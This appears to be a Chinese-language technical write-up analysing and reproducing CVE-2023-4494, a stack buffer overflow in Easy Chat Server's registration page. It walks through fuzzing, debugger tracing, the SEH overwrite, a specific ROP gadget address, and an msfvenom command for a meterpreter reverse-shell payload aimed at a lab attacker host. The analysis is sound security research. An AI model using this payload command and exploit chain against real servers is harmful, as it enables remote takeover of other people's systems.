漏洞概述Easy Chat Server是一款基於Web的在線聊天服務器程序,運行系統為Windows,支持創建多個聊天室,多人在線聊天,該軟件曾出現過多個漏洞。近日,安全研究人員發現該軟件還存在基於棧溢出的漏洞,漏洞編號CVE-2023-4494。該漏洞源於使用HTTP GET對register.ghp文件進行訪問時,未檢查用戶提交的username值的長度是否超過限制,從而使棧緩衝區溢出,覆蓋其他內存空間,可導致任意代碼執行。
影響範圍
=3.1
復現環境
操作系統:Win7 sp1,Kali linux
分析工具:IDA,Windbg,OLLYDBG,Burp Suite
漏洞復現安裝3.1版本的Easy Chat Server程序,安裝完成後主程序路徑為C:\EFS Software\Easy Chat Server\EasyChat.exe。當前服務器IP為192.168.220.128,啟動主程序後,主界面如下圖所示:
使用瀏覽器對主頁進行訪問,Web主界面如下圖所示:
根據CVE官方公告,使用HTTP GET對register.ghp文件進行訪問時,username字段可導致漏洞產生。所以使用瀏覽器訪問http://192.168.220.128/register.ghp?username=test進行嘗試,Web響應界面如下圖所示:
可以看出,register.ghp可能是用戶註冊頁面。同時反編譯EasyChat.exe程序,發現還需要傳遞Password等字段。反編譯如下圖所示:
再次使用瀏覽器訪問http://192.168.220.128/register.ghp?username=testpassword=testpwd進行嘗試,同時使用Burp Suite進行抓包。根據抓取的數據包,對username字段進行fuzz,嘗試找到使主程序崩潰的username值。 Burp Suite設置如下圖所示:
當username字段的值為485個A時,Easy Chat Server沒有響應HTTP 200,此時Easy Chat Server主程序已經崩潰,說明此時的username值可能導致了漏洞,如下圖所示:
漏洞分析根據以上復現情況,找到了使Easy Chat Server主程序崩潰的username值,但是還沒有確定是否是溢出而導致的崩潰。重啟Easy Chat Server主程序,使用Windbg附加調試,再用Burp Suite將上述復現時的數據包發送到Easy Chat Server主程序。 Windbg立即捕獲到異常,如下圖所示:
從Windbg中的函數調用堆棧中可以看到,異常發生在HeapFree函數內部。該函數的功能是釋放堆內存空間,從代碼中可以看出,試圖讀取一個不存在的地址41414145的數據,導致了異常。另外,函數調用堆棧中出現大量非法的內存指針值和username中的A字符(十六進制41),似乎是函數返回地址被大量A覆蓋了。為了更直觀的調試,重啟Easy Chat Server主程序,使用OLLYDBG附加調試。在上述出現異常的HeapFree函數地址441AFD處下斷點,再用Burp Suite發送異常數據包。在異常發生前最後一次HeapFree處停下,觀察函數堆棧,如下圖所示:
此時棧中出現大量HTTP GET發送的username字段值,繼續往下查看,發現堆棧中結構化異常處理(SEH)地址已被username字段的值覆蓋為41414141,說明發生了棧溢出,如下圖所示:
由於堆棧地址並不是固定的,不方便下斷點。所以從異常發生的前一次HeapFree函數地址處單步調式,觀察堆棧SEH地址變化。經過多次調試,發現在地址4114FB處的sprintf函數調用,覆蓋了SEH和函數返回地址等值,如下圖所示:
此時Buffer變量大小為256,小於HTTP GET時提交的username的大小485,導致棧溢出,從而導致後面調用HeapFree函數也異常,如下圖所示:
調用sprintf函數前SEH和函數返回地址,如下圖所示:
漏洞利用從上述的分析中可以看出,調用sprintf函數拼接username字段前,沒有檢查username的長度是否超出限制,並且username字段可控,導致棧溢出,可以覆蓋SEH和函數返回地址,導致任意代碼執行。
對於此類漏洞的利用,一般來說可以將SEH函數地址或者函數返回地址覆蓋為棧中可控內容的地址,比如username字段對應的棧地址。但是由於棧地址不固定,需要藉助一些固定的代碼地址作為跳板,構建ROP(Return-oriented programming)鏈,跳轉到可控內容地址執行任意代碼。如果程序開啟了DEP(數據執行保護),還需要使用ROP鏈關閉DEP。
經查,該程序未開啟DEP,如下圖所示:
ROP鏈使用SSLEAY32.DLL地址為1001AE86處的“pop ebp”,” pop ebx”和“retn”指令,將該地址覆蓋到SEH函數處,如下圖所示:
利用該漏洞執行的代碼,筆者這裡使用msf的上線payload(載荷)。值得注意的是,payload中不能有00或空格等字符,以免發生截斷,導致利用失敗。在kali中使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.134 LPORT=8888 -f python -b '\x00\x20' -v shellcode生成python格式的payload,如下圖所示:
整個漏洞利用結構示意圖,如下圖所示:
使用python編寫利用腳本,如下圖所示:
最後在kali中啟動msf,監聽對應的端口8888,運行漏洞利用腳本,msf成功上線,如下圖所示:
POChttps://www.ddpoc.com/poc/DVB-2023-5622.html
Recommended Comments